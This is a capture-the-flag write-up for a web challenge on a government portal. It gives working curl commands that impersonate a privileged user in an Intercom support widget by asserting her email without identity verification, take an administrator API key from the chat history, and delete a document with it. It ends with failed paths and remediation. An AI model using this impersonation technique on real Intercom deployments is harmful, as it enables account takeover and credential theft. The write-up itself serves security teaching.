← Back to Writeups
CUSTOMMediumWeb

Пчелиное правительство

XESXOR9/10/20264 min read
#web#custom#medium#intercom_identity_impersonatio#public_key_uid_extraction#bearer_token_abuse#linux

Пчелиное правительство

Platform: avitoctf | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-22 | Status: Solved Techniques: intercom_identity_impersonation, public_key_uid_extraction, bearer_token_abuse

Summary

Task: A government portal exposed signed documents, a HoneyOffice API, and an Intercom support widget without verified identities. Solution: Impersonate the Queen by email, recover her administrator API key from support history, and delete the decree.

Bee Government — avitoctf

Description

Парламент расширил полномочия пограничной службы, а Королева объявила медоедов недружественным видом. Требовалось незаметно удалить королевский указ.

The target was a React government portal. The objective was to delete the Queen's decree, but an ordinary citizen session did not have sufficient permission to call the document deletion API.

Analysis

Mapping the document API

The React bundle and /honeyoffice-openapi.yaml exposed the relevant HoneyOffice surface:

  • decree document ID 1;
  • GET /api/documents/1/archive for a verification archive;
  • DELETE /api/documents/1 for deletion;
  • bearer API keys beginning with the public format marker hof365_.

The changelog explained that support agents issue HoneyOffice keys through chat. The frontend initialized Intercom application r84vggjn with the logged-in email, but did not supply a server-generated Intercom Identity Verification user_hash. Consequently, the browser—not the application server—asserted which portal user was opening Messenger.

Finding a privileged identity

The public archive contained only the decree PDF, its detached signature, and the Queen's public PGP key. It contained no private key or hidden credential. Nevertheless, the public key provided the identity needed for the chat attack:

bash
unzip -l decree.zip
unzip -p decree.zip queen-public-key.asc > queen-public-key.asc
gpg --show-keys --with-colons queen-public-key.asc

The output disclosed the UID Queen <queen@hive.gov> and fingerprint 6F7AAEBFED593D02875485043089457CA0DEF0BC. The fingerprint also matched the metadata returned by /api/documents.

Root cause

Missing Intercom Identity Verification allowed an attacker to submit any victim email to Messenger and inherit that person's support identity and history. The signed public document supplied the privileged Queen's email, turning the identity-verification failure into administrator API-key disclosure.

The third-party Intercom endpoint was tested only after explicit scope authorization covered the discovered Intercom origins.

Solution

1. Open Messenger as the Queen

The request below reproduces the identity assertion. It sends the public Intercom app ID and the Queen's public email without a user_hash:

bash
curl 'https://api-iam.intercom.io/messenger/web/open' \
  -X POST \
  -H 'Origin: https://government-n22ocjrj.avitoctf.ru' \
  -H 'Referer: https://government-n22ocjrj.avitoctf.ru/' \
  -H 'X-INTERCOM-APP: r84vggjn' \
  -H 'X-INTERCOM-USER-DATA: {"app_id":"r84vggjn","email":"queen@hive.gov"}' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'app_id=r84vggjn&email=queen%40hive.gov&platform=web&installation_type=npm-package' \
  -o intercom-open.json

Intercom accepted the email-only identity and identified the widget user as the Queen of the Hive. The returned recent conversation titled “API token” included Fin's reply containing an administrator HoneyOffice key. Its concrete value is intentionally omitted and represented as hof365_REDACTED.

2. Delete the decree

Use the recovered key as the HoneyOffice bearer credential:

bash
curl 'https://government-n22ocjrj.avitoctf.ru/api/documents/1' \
  -X DELETE \
  -H 'Authorization: Bearer hof365_REDACTED' \
  -H 'Content-Type: application/json' \
  --data '{"id":1}'

The endpoint returned HTTP 202, status deleted, and the challenge flag in its message.

Failed Paths

  • A citizen sess_ token reached the deletion endpoint but received HTTP 403 with an “insufficient privileges” error.
  • Registration mass assignment through role, is_admin, and nested variants still created citizen accounts.
  • /api/support/api-keys returned 401 anonymously and 403 as a citizen before body parsing. BOLA, parser, spoofed-header, query, and method-override variants did not bypass authorization.
  • A basic login SQL injection produced the normal user-not-found behavior.
  • Public comments were rendered as React text and contained no genuine HoneyOffice key.
  • The verification archive held no secret or private key; its useful content was the public signer identity.

Remediation

  1. Enable Intercom Identity Verification and generate the HMAC-backed user_hash only on the trusted application server.
  2. Never trust a client-supplied email as proof of portal identity; bind the Messenger session to the authenticated server-side user.
  3. Bind chat-issued API keys to the authenticated portal identity and grant only the minimum required privileges.
  4. Avoid placing long-lived privileged credentials in support history, and restrict access to sensitive historical conversations.
  5. Rotate exposed keys and audit support-conversation access after an identity-verification failure.

Evidence

The solve was verified against notes.md, app.js, honeyoffice-openapi.yaml, documents.json, decree.zip, intercom-open2.json, delete-admin.json, and the corresponding response-header captures in the task directory.